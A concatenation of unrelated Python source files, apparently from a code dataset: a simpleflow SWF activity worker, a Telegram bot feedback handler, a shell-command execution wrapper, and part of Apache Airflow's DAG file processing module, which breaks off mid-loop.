super(ActivityPoller, self).__init__(domain, task_list)
@property
def name(self):
return "{}(task_list={})".format(self.__class__.__name__, self.task_list,)
@with_state("polling")
def poll(self, task_list=None, identity=None):
if self.poll_data:
# the poll data has been passed as input
return self.fake_poll()
else:
# we need to poll SWF's PollForActivityTask
return swf.actors.ActivityWorker.poll(self, task_list, identity)
def fake_poll(self):
polled_activity_data = json.loads(b64decode(self.poll_data))
activity_task = BaseActivityTask.from_poll(
self.domain, self.task_list, polled_activity_data,
)
return Response(
task_token=activity_task.task_token,
activity_task=activity_task,
raw_response=polled_activity_data,
)
@with_state("processing")
def process(self, response):
"""
Process a swf.actors.ActivityWorker poll response..
:param response:
:type response: swf.responses.Response
"""
token = response.task_token
task = response.activity_task
if self.process_mode == "kubernetes":
try:
spawn_kubernetes_job(self, response.raw_response)
except Exception as err:
logger.exception("spawn_kubernetes_job error")
reason = "cannot spawn kubernetes job for task {}: {} {}".format(
task.activity_id, err.__class__.__name__, err,
)
self.fail_with_retry(token, task, reason)
else:
spawn(self, token, task, self.middlewares, self._heartbeat)
@with_state("completing")
def complete(self, token, result=None):
swf.actors.ActivityWorker.complete(self, token, result)
# noinspection PyMethodOverriding
@with_state("failing")
def fail(self, token, task, reason=None, details=None):
"""
Fail the activity, log and ignore exceptions.
:param token:
:type token:
:param task:
:type task:
:param reason:
:type reason:
:param details:
:type details:
:return:
:rtype:
"""
try:
return swf.actors.ActivityWorker.fail(
self, token, reason=reason, details=details,
)
except Exception as err:
logger.error(
"cannot fail task {}: {}".format(task.activity_type.name, err,)
)
@property
def identity(self):
if self.process_mode == "kubernetes":
self.job_name = "{}--{}".format(
to_k8s_identifier(self.task_list), str(uuid.uuid4())
)
return json_dumps(
{
"cluster": os.environ["K8S_CLUSTER"],
"namespace": os.environ["K8S_NAMESPACE"],
"job": self.job_name,
}
)
else:
return super(ActivityPoller, self).identity
class ActivityWorker(object):
def __init__(self, dispatcher=None):
self._dispatcher = dispatcher or dynamic_dispatcher.Dispatcher()
def dispatch(self, task):
"""
:param task:
:type task: swf.models.ActivityTask
:return:
:rtype: simpleflow.activity.Activity
"""
name = task.activity_type.name
return self._dispatcher.dispatch_activity(name)
def process(self, poller, token, task, middlewares=None):
"""
:param poller:
:type poller: ActivityPoller
:param token:
:type token: str
:param task:
:type task: swf.models.ActivityTask
:param middlewares: Paths to middleware functions to execute before and after any Activity
:type middlewares: Optional[Dict[str, str]]
"""
logger.debug("ActivityWorker.process() pid={}".format(os.getpid()))
try:
activity = self.dispatch(task)
input = format.decode(task.input)
args = input.get("args", ())
kwargs = input.get("kwargs", {})
context = sanitize_activity_context(task.context)
context["domain_name"] = poller.domain.name
if input.get("meta", {}).get("binaries"):
download_binaries(input["meta"]["binaries"])
result = ActivityTask(
activity,
*args,
context=context,
simpleflow_middlewares=middlewares,
**kwargs
).execute()
except Exception:
exc_type, exc_value, exc_traceback = sys.exc_info()
logger.exception("process error: {}".format(str(exc_value)))
if isinstance(exc_value, ExecutionError) and len(exc_value.args):
details = exc_value.args[0]
reason = format_exc(exc_value) # FIXME json.loads and rebuild?
else:
tb = traceback.format_tb(exc_traceback)
reason = format_exc(exc_value)
details = json_dumps(
{
"error": exc_type.__name__,
"error_type": format_exc_type(exc_type),
"message": str(exc_value),
"traceback": tb,
},
default=repr,
)
return poller.fail_with_retry(token, task, reason=reason, details=details)
try:
logger.info("completing activity")
poller.complete_with_retry(token, result)
except Exception as err:
logger.exception("complete error")
reason = "cannot complete task {}: {} {}".format(
task.activity_id, err.__class__.__name__, err,
)
poller.fail_with_retry(token, task, reason)
def process_task(poller, token, task, middlewares=None):
"""
:param poller:
:type poller: ActivityPoller
:param token:
:type token: str
:param task:
:type task: swf.models.ActivityTask
:param middlewares: Paths to middleware functions to execute before and after any Activity
:type middlewares: Optional[Dict[str, str]]
"""
logger.debug("process_task() pid={}".format(os.getpid()))
format.JUMBO_FIELDS_MEMORY_CACHE.clear()
worker = ActivityWorker()
worker.process(poller, token, task, middlewares)
def spawn_kubernetes_job(poller, swf_response):
logger.info("scheduling new kubernetes job name={}".format(poller.job_name))
job = KubernetesJob(poller.job_name, poller.domain.name, swf_response)
job.schedule()
def reap_process_tree(pid, wait_timeout=settings.ACTIVITY_SIGTERM_WAIT_SEC):
"""
TERMinates (and KILLs) if necessary a process and its descendants.
See also: https://psutil.readthedocs.io/en/latest/#kill-process-tree.
:param pid: Process ID
:type pid: int
:param wait_timeout: Wait timeout
:type wait_timeout: float
"""
def on_terminate(p):
logger.info("process: terminated pid={} retcode={}".format(p.pid, p.returncode))
if pid == os.getpid():
raise RuntimeError("process: cannot terminate self!")
parent = psutil.Process(pid)
procs = parent.children(recursive=True)
procs.append(parent)
# Terminate
for p in procs:
try:
p.terminate()
except psutil.NoSuchProcess:
pass
_, alive = psutil.wait_procs(procs, timeout=wait_timeout, callback=on_terminate)
# Kill
for p in alive:
logger.warning(
"process: pid={} status={} did not respond to SIGTERM. Trying SIGKILL".format(
p.pid, p.status()
)
)
try:
p.kill()
except psutil.NoSuchProcess:
pass
# Check
_, alive = psutil.wait_procs(alive)
for p in alive:
logger.error(
"process: pid={} status={} still alive. Giving up!".format(
p.pid, p.status()
)
)
def spawn(poller, token, task, middlewares=None, heartbeat=60):
"""
Spawn a process and wait for it to end, sending heartbeats to SWF.
On activity timeouts and termination, we reap the worker process and its
children.
:param poller:
:type poller: ActivityPoller
:param token:
:type token: str
:param task:
:type task: swf.models.ActivityTask
:param middlewares: Paths to middleware functions to execute before and after any Activity
:type middlewares: Optional[Dict[str, str]]
:param heartbeat: heartbeat delay (seconds)
:type heartbeat: int
"""
logger.info(
"spawning new activity worker pid={} heartbeat={}".format(
os.getpid(), heartbeat
)
)
worker = multiprocessing.Process(
target=process_task, args=(poller, token, task, middlewares)
)
worker.start()
def worker_alive():
return psutil.pid_exists(worker.pid)
while worker_alive():
worker.join(timeout=heartbeat)
if not worker_alive():
# Most certainly unneeded: we'll see
if worker.exitcode is None:
# race condition, try and re-join
worker.join(timeout=0)
if worker.exitcode is None:
logger.warning(
"process {} is dead but multiprocessing doesn't know it (simpleflow bug)".format(
worker.pid
)
)
if worker.exitcode != 0:
poller.fail_with_retry(
token,
task,
reason="process {} died: exit code {}".format(
worker.pid, worker.exitcode
),
)
return
try:
logger.debug("heartbeating for pid={} (token={})".format(worker.pid, token))
response = poller.heartbeat(token)
except swf.exceptions.DoesNotExistError as error:
# Either the task or the workflow execution no longer exists,
# let's kill the worker process.
logger.warning("heartbeat failed: {}".format(error))
logger.warning("killing (KILL) worker with pid={}".format(worker.pid))
reap_process_tree(worker.pid)
return
except swf.exceptions.RateLimitExceededError as error:
# ignore rate limit errors: high chances the next heartbeat will be
# ok anyway, so it would be stupid to break the task for that
logger.warning(
'got a "ThrottlingException / Rate exceeded" when heartbeating for task {}: {}'.format(
task.activity_type.name, error
)
)
continue
except Exception as error:
# Let's crash if it cannot notify the heartbeat failed. The
# subprocess will become orphan and the heartbeat timeout may
# eventually trigger on Amazon SWF side.
logger.error(
"cannot send heartbeat for task {}: {}".format(
task.activity_type.name, error
)
)
raise
# Task cancelled.
if response and response.get("cancelRequested"):
reap_process_tree(worker.pid)
return
|
feedback.py
|
import threading
from telegram import ParseMode
from telegram.chataction import ChatAction
from telegram.ext.dispatcher import run_async
from Brain.Modules.help import get_help
from Brain.Utils.dbfuncs import user_collect, feedback_collect, command_collect
from Brain.Utils.strings import HELPER_SCRIPTS
from server import logger
feedback_info_help = \
"""
- /feedback <Type your feedback here>
"""
HELPER_SCRIPTS['feedback'] = feedback_info_help
# do not async
def send_feedback(update, text, keyboard=None):
logger.info("into send_feedback")
if not keyboard:
pass
update.effective_message.reply_text(text=text, parse_mode=ParseMode.MARKDOWN, reply_markup=keyboard)
@run_async
def get_feedback(update, context):
logger.info("into get_feedback")
chat = update.effective_chat
threading.Thread(target=user_collect, args=(chat,), daemon=True).start()
threading.Thread(target=command_collect, args=("feedback",), daemon=True).start()
context.bot.send_chat_action(chat_id=chat.id, action=ChatAction.TYPING)
# ONLY send help in PM
if chat.type != chat.PRIVATE:
context.args = ['feedback']
get_help(update, context)
else:
# checks if command has arguments
if context.args:
feedback = " ".join(context.args)
try:
feedback_collect(chat, feedback)
msg = "ThankYou for Feedback \U0001F4E9"
send_feedback(
update=update,
text=msg,
keyboard=None
)
except Exception as e:
pass
else:
context.args = ['feedback']
get_help(update, context)
|
pyExecUtil.py
|
#!/usr/bin/env python
# -*- Coding: utf-8 -*-
#
# Copyright (C) 2017 hidenorly
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os
import signal
import sys
import codecs
import subprocess, threading
cset = 'utf-8'
# for Python 3.x
try:
reload
except NameError:
try:
from importlib import reload
except ImportError:
from imp import reload
reload(sys)
try:
sys.setdefaultencoding(cset)
except AttributeError:
pass
sys.stdin = codecs.getreader(cset)(sys.stdin)
sys.stdout = codecs.getwriter(cset)(sys.stdout)
class PyExecUtil(object):
def __init__(self, cmd):
self.cmd = cmd
self._process = None
self._thread = None
self._callback = None
self._args = None
self.stdout_data = None
self.stderr_data = None
def onCompletion(self):
if self._callback:
self._callback(self._args, self.stdout_data, self.stderr_data)
def __onExecute(self):
self._process = subprocess.Popen(self.cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fn=os.setsid)
self.stdout_data, self.stderr_data = self._process.communicate()
self.onCompletion()
def kill_children_process(self, pid):
os.killpg(os.getpgid(pid), signal.SIGTERM)
def terminate(self, killChildrenProcess=True):
if self._thread.is_alive():
if self._process!=None:
if killChildrenProcess:
self.kill_children_process(self._process.pid)
self._process.terminate()
self._thread.join()
def execute(self, timeout=None, killChildrenProcess=True, onCompletion=None, args=None):
self._callback = onCompletion
self._args = args
self._thread = threading.Thread(target=self.__onExecute)
self._thread.start()
self._thread.join(timeout)
self.terminate(killChildrenProcess)
return_code = None
if self._process:
return_code = self._process.returncode
return return_code
|
dag_processing.py
|
# -*- coding: utf-8 -*-
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import logging
import multiprocessing
import os
import re
import signal
import sys
import time
import zipfile
from abc import ABCMeta, abstractmethod
from datetime import datetime, timedelta
from importlib import import_module
import enum
from typing import NamedTuple, Iterable
import psutil
from setproctitle import setproctitle
import six
from six.moves import reload_module
from sqlalchemy import or_
from tabulate import tabulate
# To avoid circular imports
import airflow.models
from airflow.configuration import conf
from airflow.dag.base_dag import BaseDag, BaseDagBag
from airflow.exceptions import AirflowException
from airflow.settings import Stats
from airflow.models import errors
from airflow.settings import STORE_SERIALIZED_DAGS
from airflow.utils import timezone
from airflow.utils.helpers import reap_process_group
from airflow.utils.db import provide_session
from airflow.utils.log.logging_mixin import LoggingMixin
from airflow.utils.state import State
if six.PY2:
ConnectionError = IOError
class SimpleDag(BaseDag):
"""
A simplified representation of a DAG that contains all attributes
required for instantiating and scheduling its associated tasks.
:param dag: the DAG
:type dag: airflow.models.DAG
:param pickle_id: ID associated with the pickled version of this DAG.
:type pickle_id: unicode
"""
def __init__(self, dag, pickle_id=None):
self._dag_id = dag.dag_id
self._task_ids = [task.task_id for task in dag.tasks]
self._full_filepath = dag.full_filepath
self._is_paused = dag.is_paused
self._concurrency = dag.concurrency
self._pickle_id = pickle_id
self._task_special_args = {}
for task in dag.tasks:
special_args = {}
if task.task_concurrency is not None:
special_args['task_concurrency'] = task.task_concurrency
if len(special_args) > 0:
self._task_special_args[task.task_id] = special_args
@property
def dag_id(self):
"""
:return: the DAG ID
:rtype: unicode
"""
return self._dag_id
@property
def task_ids(self):
"""
:return: A list of task IDs that are in this DAG
:rtype: list[unicode]
"""
return self._task_ids
@property
def full_filepath(self):
"""
:return: The absolute path to the file that contains this DAG's definition
:rtype: unicode
"""
return self._full_filepath
@property
def concurrency(self):
"""
:return: maximum number of tasks that can run simultaneously from this DAG
:rtype: int
"""
return self._concurrency
@property
def is_paused(self):
"""
:return: whether this DAG is paused or not
:rtype: bool
"""
return self._is_paused
@property
def pickle_id(self):
"""
:return: The pickle ID for this DAG, if it has one. Otherwise None.
:rtype: unicode
"""
return self._pickle_id
@property
def task_special_args(self):
return self._task_special_args
def get_task_special_arg(self, task_id, special_arg_name):
if task_id in self._task_special_args and special_arg_name in self._task_special_args[task_id]:
return self._task_special_args[task_id][special_arg_name]
else:
return None
class SimpleTaskInstance(object):
def __init__(self, ti):
self._dag_id = ti.dag_id
self._task_id = ti.task_id
self._execution_date = ti.execution_date
self._start_date = ti.start_date
self._end_date = ti.end_date
self._try_number = ti.try_number
self._state = ti.state
self._executor_config = ti.executor_config
if hasattr(ti, 'run_as_user'):
self._run_as_user = ti.run_as_user
else:
self._run_as_user = None
if hasattr(ti, 'pool'):
self._pool = ti.pool
else:
self._pool = None
if hasattr(ti, 'priority_weight'):
self._priority_weight = ti.priority_weight
else:
self._priority_weight = None
self._queue = ti.queue
self._key = ti.key
@property
def dag_id(self):
return self._dag_id
@property
def task_id(self):
return self._task_id
@property
def execution_date(self):
return self._execution_date
@property
def start_date(self):
return self._start_date
@property
def end_date(self):
return self._end_date
@property
def try_number(self):
return self._try_number
@property
def state(self):
return self._state
@property
def pool(self):
return self._pool
@property
def priority_weight(self):
return self._priority_weight
@property
def queue(self):
return self._queue
@property
def key(self):
return self._key
@property
def executor_config(self):
return self._executor_config
@provide_session
def construct_task_instance(self, session=None, lock_for_update=False):
"""
Construct a TaskInstance from the database based on the primary key
:param session: DB session.
:param lock_for_update: if True, indicates that the database should
lock the TaskInstance (issuing a FOR UPDATE clause) until the
session is committed.
"""
TI = airflow.models.TaskInstance
qry = session.query(TI).filter(
TI.dag_id == self._dag_id,
TI.task_id == self._task_id,
TI.execution_date == self._execution_date)
if lock_for_update:
ti = qry.with_for_update().first()
else:
ti = qry.first()
return ti
class SimpleDagBag(BaseDagBag):
"""
A collection of SimpleDag objects with some convenience methods.
"""
def __init__(self, simple_dags):
"""
Constructor.
:param simple_dags: SimpleDag objects that should be in this
:type list(airflow.utils.dag_processing.SimpleDagBag)
"""
self.simple_dags = simple_dags
self.dag_id_to_simple_dag = {}
for simple_dag in simple_dags:
self.dag_id_to_simple_dag[simple_dag.dag_id] = simple_dag
@property
def dag_ids(self):
"""
:return: IDs of all the DAGs in this
:rtype: list[unicode]
"""
return self.dag_id_to_simple_dag.keys()
def get_dag(self, dag_id):
"""
:param dag_id: DAG ID
:type dag_id: unicode
:return: if the given DAG ID exists in the bag, return the BaseDag
corresponding to that ID. Otherwise, throw an Exception
:rtype: airflow.utils.dag_processing.SimpleDag
"""
if dag_id not in self.dag_id_to_simple_dag:
raise AirflowException("Unknown DAG ID {}".format(dag_id))
return self.dag_id_to_simple_dag[dag_id]
def correct_maybe_zipped(fileloc):
"""
If the path contains a folder with a .zip suffix, then
the folder is treated as a zip archive and path to zip is returned.
"""
_, archive, filename = re.search(
r'((.*\.zip){})?(.*)'.format(re.escape(os.sep)), fileloc).groups()
if archive and zipfile.is_zipfile(archive):
return archive
else:
return fileloc
COMMENT_PATTERN = re.compile(r"\s*#.*")
def list_py_file_paths(directory, safe_mode=conf.getboolean('core', 'DAG_DISCOVERY_SAFE_MODE', fallback=True),
include_examples=None):
"""
Traverse a directory and look for Python files.
:param directory: the directory to traverse
:type directory: unicode
:param safe_mode: whether to use a heuristic to determine whether a file
contains Airflow DAG definitions. If not provided, use the
core.DAG_DISCOVERY_SAFE_MODE configuration setting. If not set, default
to safe.
:type safe_mode: bool
:param include_examples: include example DAGs
:type include_examples: bool
:return: a list of paths to Python files in the specified directory
:rtype: list[unicode]
"""
if include_examples is None:
include_examples = conf.getboolean('core', 'LOAD_EXAMPLES')
file_paths = []
if directory is None:
return []
elif os.path.isfile(directory):
return [directory]
elif os.path.isdir(directory):
patterns_by_dir = {}
for root, dirs, files in os.walk(directory, followlinks=True):
patterns = patterns_by_dir.get(root, [])
ignore_file = os.path.join(root, '.airflowignore')
if os.path.isfile(ignore_file):
with open(ignore_file, 'r') as f:
# If we have new patterns create a copy so we don't change
# the previous list (which would affect other subdirs)
lines_no_comments = [COMMENT_PATTERN.sub("", line) for line in f.read().split("\n")]
patterns += [re.compile(line) for line in lines_no_comments if line]
# If we can ignore any subdirs entirely we should - fewer paths
# to walk is better. We have to modify the ``dirs`` array in
# place for this to affect os.walk
dirs[:] = [
d
for d in dirs
if not any(p.search(os.path.join(root, d)) for p in patterns)
]
# We want patterns defined in a parent folder's .airflowignore to
# apply to subdirs too
for d in dirs:
patterns_by_dir[os.path.join(root, d)] = list(patterns)
for f in files:
try:
file_path = os.path.join(root, f)
if not os.path.isfile(file_path):
continue
mod_name, file_ext = os.path.splitext(
os.path.split(file_path)[-1])
if file_ext != '.py' and not zipfile.is_zipfile(file_path):
continue
if any([re.findall(p, file_path) for p in patterns]):
continue
# Heuristic that guesses whether a Python file contains an
# Airflow DAG definition.
might_contain_dag = True
if safe_mode and not zipfile.is_zipfile(file_path):
with open(file_path, 'rb') as fp:
content = fp.read()
might_contain_dag = all(
[s in content for s in (b'DAG', b'airflow')])
if not might_contain_dag:
continue
file_paths.append(file_path)
except Exception:
log = LoggingMixin().log
log.exception("Error while examining %s", f)
if include_examples:
import airflow.example_dags
example_dag_folder = airflow.example_dags.__path__[0]
file_paths.extend(list_py_file_paths(example_dag_folder, safe_mode, False))
return file_paths
class AbstractDagFileProcessor(object):
"""
Processes a DAG file. See SchedulerJob.process_file() for more details.
"""
__metaclass__ = ABCMeta
@abstractmethod
def start(self):
"""
Launch the process to process the file
"""
raise NotImplementedError()
@abstractmethod
def terminate(self, sigkill=False):
"""
Terminate (and then kill) the process launched to process the file
"""
raise NotImplementedError()
@property
@abstractmethod
def pid(self):
"""
:return: the PID of the process launched to process the given file
"""
raise NotImplementedError()
@property
@abstractmethod
def exit_code(self):
"""
After the process is finished, this can be called to get the return code
:return: the exit code of the process
:rtype: int
"""
raise NotImplementedError()
@property
@abstractmethod
def done(self):
"""
Check if the process launched to process this file is done.
:return: whether the process is finished running
:rtype: bool
"""
raise NotImplementedError()
@property
@abstractmethod
def result(self):
"""
A list of simple dags found, and the number of import errors
:return: result of running SchedulerJob.process_file()
:rtype: tuple[list[airflow.utils.dag_processing.SimpleDag], int]
"""
raise NotImplementedError()
@property
@abstractmethod
def start_time(self):
"""
:return: When this started to process the file
:rtype: datetime
"""
raise NotImplementedError()
@property
@abstractmethod
def file_path(self):
"""
:return: the path to the file that this is processing
:rtype: unicode
"""
raise NotImplementedError()
DagParsingStat = NamedTuple('DagParsingStat', [
('file_paths', Iterable[str]),
('done', bool),
('all_files_processed', bool)
])
DagFileStat = NamedTuple('DagFileStat', [
('num_dags', int),
('import_errors', int),
('last_finish_time', datetime),
('last_duration', float),
('run_count', int),
])
class DagParsingSignal(enum.Enum):
AGENT_HEARTBEAT = 'agent_heartbeat'
TERMINATE_MANAGER = 'terminate_manager'
END_MANAGER = 'end_manager'
class DagFileProcessorAgent(LoggingMixin):
"""
Agent for DAG file processing. It is responsible for all DAG parsing
related jobs in scheduler process. Mainly it can spin up DagFileProcessorManager
in a subprocess, collect DAG parsing results from it and communicate
signal/DAG parsing stat with it.
This class runs in the main `airflow scheduler` process.
"""
def __init__(self,
dag_directory,
file_paths,
max_runs,
processor_factory,
processor_timeout,
async_mode):
"""
:param dag_directory: Directory where DAG definitions are kept. All
files in file_paths should be under this directory
:type dag_directory: unicode
:param file_paths: list of file paths that contain DAG definitions
:type file_paths: list[unicode]
:param max_runs: The number of times to parse and schedule each file. -1
for unlimited.
:type max_runs: int
:param processor_factory: function that creates processors for DAG
definition files. Arguments are (dag_definition_path, log_file_path)
:type processor_factory: (unicode, unicode, list) -> (AbstractDagFileProcessor)
:param processor_timeout: How long to wait before timing out a DAG file processor
:type processor_timeout: timedelta
:param async_mode: Whether to start agent in async mode
:type async_mode: bool
"""
self._file_paths = file_paths
self._file_path_queue = []
self._dag_directory = dag_directory
self._max_runs = max_runs
self._processor_factory = processor_factory
self._processor_timeout = processor_timeout
self._async_mode = async_mode
# Map from file path to the processor
self._processors = {}
# Pipe for communicating signals
self._process = None
self._done = False
# Initialized as true so we do not deactivate w/o any actual DAG parsing.
self._all_files_processed = True
self._parent_signal_conn = None
self._collected_dag_buffer = []
def start(self):
"""
Launch DagFileProcessorManager processor and start DAG parsing loop in manager.
"""
self._parent_signal_conn, child_signal_conn = multiprocessing.Pipe()
self._process = multiprocessing.Process(
target=type(self)._run_processor_manager,
args=(
self._dag_directory,
self._file_paths,
self._max_runs,
self._processor_factory,
self._processor_timeout,
child_signal_conn,
self._async_mode,
)
)
self._process.start()
self.log.info("Launched DagFileProcessorManager with pid: %s", self._process.pid)
def heartbeat(self):
"""
Should only be used when launched DAG file processor manager in sync mode.
Send agent heartbeat signal to the manager, requesting that it runs one
processing "loop".
Call wait_until_finished to ensure that any launched processors have
finished before continuing
"""
if not self._process.is_alive():
return
try:
self._parent_signal_conn.send(DagParsingSignal.AGENT_HEARTBEAT)
except ConnectionError:
# If this died cos of an error then we will noticed and restarted
# when harvest_simple_dags calls _heartbeat_manager.
pass
def wait_until_finished(self):
while self._parent_signal_conn.poll():
try:
result = self._parent_signal_conn.recv()
except EOFError:
break
self._process_message(result)
if isinstance(result, DagParsingStat):
# In sync mode we don't send this message from the Manager
# until all the running processors have finished
return
@staticmethod
def _run_processor_manager(dag_directory,
file_paths,
max_runs,
processor_factory,
processor_timeout,
signal_conn,
async_mode):
# Make this process start as a new process group - that makes it easy
# to kill all sub-process of this at the OS-level, rather than having
# to iterate the child processes
os.setpgid(0, 0)
setproctitle("airflow scheduler -- DagFileProcessorManager")
# Reload configurations and settings to avoid collision with parent process.
# Because this process may need custom configurations that cannot be shared,
# e.g. RotatingFileHandler. And it can cause connection corruption if we
# do not recreate the SQLA connection pool.
os.environ['CONFIG_PROCESSOR_MANAGER_LOGGER'] = 'True'
os.environ['AIRFLOW__CORE__COLORED_CONSOLE_LOG'] = 'False'
# Replicating the behavior of how logging module was loaded
# in logging_config.py
reload_module(import_module(airflow.settings.LOGGING_CLASS_PATH.rsplit('.', 1)[0]))
reload_module(airflow.settings)
airflow.settings.initialize()
del os.environ['CONFIG_PROCESSOR_MANAGER_LOGGER']
processor_manager = DagFileProcessorManager(dag_directory,
file_paths,
max_runs,
processor_factory,
processor_timeout,
signal_conn,
async_mode)
processor_manager.start()
def harvest_simple_dags(self):
"""
Harvest DAG parsing results from result queue and sync metadata from stat queue.
:return: List of parsing result in SimpleDag format.
"""
# Receive any pending messages before checking if the process has exited.
while self._parent_signal_conn.poll():
try:
result = self._parent_signal_conn.recv()
except (EOFError, ConnectionError):
break
self._process_message(result)
simple_dags = self._collected_dag_buffer
self._collected_dag_buffer = []
# If it died unexpectedly restart the manager process
self._heartbeat_manager()
return simple_dags
def _process_message(self, message):
self.log.debug("Received message of type %s", type(message).__name__)
if isinstance(message, DagParsingStat):
self._sync_metadata(message)
else:
self._collected_dag_buffer.append(message)
def _heartbeat_manager(self):
"""
Heartbeat DAG file processor and restart it if we are not done.
"""
if self._process and not self._process.is_alive():
self._process.join(timeout=0)
if not self.done:
self.log.warning(
"DagFileProcessorManager (PID=%d) exited with exit code %d - re-launching",
self._process.pid, self._process.exitcode
)
self.start()
def _sync_metadata(self, stat):
"""
Sync metadata from stat queue and only keep the latest stat.
"""
self._file_paths = stat.file_paths
self._done = stat.done
self._all_files_processed = stat.all_files_processed
@property
def file_paths(self):
return self._file_paths
@property
def done(self):
return self._done
@property
def all_files_processed(self):
return self._all_files_processed
def terminate(self):
"""
Send termination signal to DAG parsing processor manager
and expect it to terminate all DAG file processors.
"""
if self._process and self._process.is_alive():
self.log.info("Sending termination message to manager.")
try:
self._parent_signal_conn.send(DagParsingSignal.TERMINATE_MANAGER)
except ConnectionError:
pass
def end(self):
"""
Terminate (and then kill) the manager process launched.
:return:
"""
if not self._process:
self.log.warning('Ending without manager process.')
return
reap_process_group(self._process.pid, log=self.log)
self._parent_signal_conn.close()
class DagFileProcessorManager(LoggingMixin):
"""
Given a list of DAG definition files, this kicks off several processors
in parallel to process them and put the results to a multiprocessing.Queue
for DagFileProcessorAgent to harvest. The parallelism is limited and as the
processors finish, more are launched. The files are processed over and
over again, but no more often than the specified interval.
:param dag_directory: Directory where DAG definitions are kept. All
files in file_paths should be under this directory
:type dag_directory: unicode
:param file_paths: list of file paths that contain DAG definitions
:type file_paths: list[unicode]
:param max_runs: The number of times to parse and schedule each file. -1
for unlimited.
:type max_runs: int
:param processor_factory: function that creates processors for DAG
definition files. Arguments are (dag_definition_path)
:type processor_factory: (unicode, unicode, list) -> (AbstractDagFileProcessor)
:param processor_timeout: How long to wait before timing out a DAG file processor
:type processor_timeout: timedelta
:param signal_conn: connection to communicate signal with processor agent.
:type signal_conn: airflow.models.connection.Connection
:param async_mode: whether to start the manager in async mode
:type async_mode: bool
"""
def __init__(self,
dag_directory,
file_paths,
max_runs,
processor_factory,
processor_timeout,
signal_conn,
async_mode=True,
interval=conf.getfloat('scheduler', 'refresh_dag_dir_interval', fallback=0.0)):
self._file_paths = file_paths
self._file_path_queue = []
self._dag_directory = dag_directory
self._max_runs = max_runs
self._processor_factory = processor_factory
self._signal_conn = signal_conn
self._async_mode = async_mode
self._refresh_dag_dir_interval = interval
self._parallelism = conf.getint('scheduler', 'max_threads')
if 'sqlite' in conf.get('core', 'sql_alchemy_conn') and self._parallelism > 1:
self.log.warning(
"Because we cannot use more than 1 thread (max_threads = {}) "
"when using sqlite. So we set parallelism to 1.".format(self._parallelism)
)
self._parallelism = 1
# Parse and schedule each file no faster than this interval.
self._file_process_interval = conf.getint('scheduler',
'min_file_process_interval')
# How often to print out DAG file processing stats to the log. Default to
# 30 seconds.
self.print_stats_interval = conf.getint('scheduler',
'print_stats_interval')
# How many seconds do we wait for tasks to heartbeat before mark them as zombies.
self._zombie_threshold_secs = (
conf.getint('scheduler', 'scheduler_zombie_task_threshold'))
# Map from file path to the processor
self._processors = {}
self._heartbeat_count = 0
# Map from file path to stats about the file
self._file_stats = {} # type: dict(str, DagFileStat)
self._last_zombie_query_time = None
# Last time that the DAG dir was traversed to look for files
self.last_dag_dir_refresh_time = timezone.utcnow()
# Last time stats were printed
self.last_stat_print_time = timezone.datetime(2000, 1, 1)
# TODO: Remove magic number
self._zombie_query_interval = 10
self._zombies = []
# How long to wait before timing out a process to parse a DAG file
self._processor_timeout = processor_timeout
# How often to scan the DAGs directory for new files. Default to 5 minutes.
self.dag_dir_list_interval = conf.getint('scheduler',
'dag_dir_list_interval')
self._log = logging.getLogger('airflow.processor_manager')
signal.signal(signal.SIGINT, self._exit_gracefully)
signal.signal(signal.SIGTERM, self._exit_gracefully)
def _exit_gracefully(self, signum, frame):
"""
Helper method to clean up DAG file processors to avoid leaving orphan processes.
"""
self.log.info("Exiting gracefully upon receiving signal %s", signum)
self.terminate()
self.end()
self.log.debug("Finished terminating DAG processors.")
sys.exit(os.EX_OK)
def start(self):
"""
Use multiple processes to parse and generate tasks for the
DAGs in parallel. By processing them in separate processes,
we can get parallelism and isolation from potentially harmful
user code.
"""
# Start a new process group
os.setpgid(0, 0)
self.log.info("Processing files using up to %s processes at a time ", self._parallelism)
self.log.info("Process each file at most once every %s seconds", self._file_process_interval)
self.log.info(
"Checking for new files in %s every %s seconds", self._dag_directory, self.dag_dir_list_interval
)
# In sync mode we want timeout=None -- wait forever until a message is received
if self._async_mode:
poll_time = 0.0
else:
poll_time = None
# Used to track how long it takes us to get once around every file in the DAG folder.
self._parsing_start_time = timezone.utcnow()
while True:
loop_start_time = time.time()
if self._signal_conn.poll(poll_time):
agent_signal = self._signal_conn.recv()
self.log.debug("Received %s signal from DagFileProcessorAgent", agent_signal)
if agent_signal == DagParsingSignal.TERMINATE_MANAGER:
self.terminate()
break
elif agent_signal == DagParsingSignal.END_MANAGER:
self.end()
sys.exit(os.EX_OK)
elif agent_signal == DagParsingSignal.AGENT_HEARTBEAT:
# continue the loop to parse dags
pass
elif not self._async_mode:
# In "sync" mode we don't want to parse the DAGs until we
# are told to (as that would open another connection to the
# SQLite DB which isn't a good practice
continue
self._refresh_dag_dir()
self._find_zombies()
simple_dags = self.heartbeat()
for simple_dag in simple_dags:
self._signal_conn.send(simple_dag)
if not self._async_mode:
self.log.debug(
"Waiting for processors to finish since we're using sqlite")
# Wait until the running DAG processors are finished before
# sending a DagParsingStat message back. This means the Agent
# can tell we've got to the end of this iteration when it sees
# this type of message
self.wait_until_finished()
# Collect anything else that has finished, but don't kick off any more processors
simple_dags = self.collect_results()
for simple_dag in simple_dags:
self._signal_conn.send(simple_dag)
self._print_stat()
all_files_processed = all(self.get_last_finish_time(x) is not None for x in self.file_paths)
max_runs_reached = self.max_runs_reached()
dag_parsing_stat = DagParsingStat(self._file_paths,
max_runs_reached,
all_files_processed,
)
self._signal_conn.send(dag_parsing_stat)
if max_runs_reached:
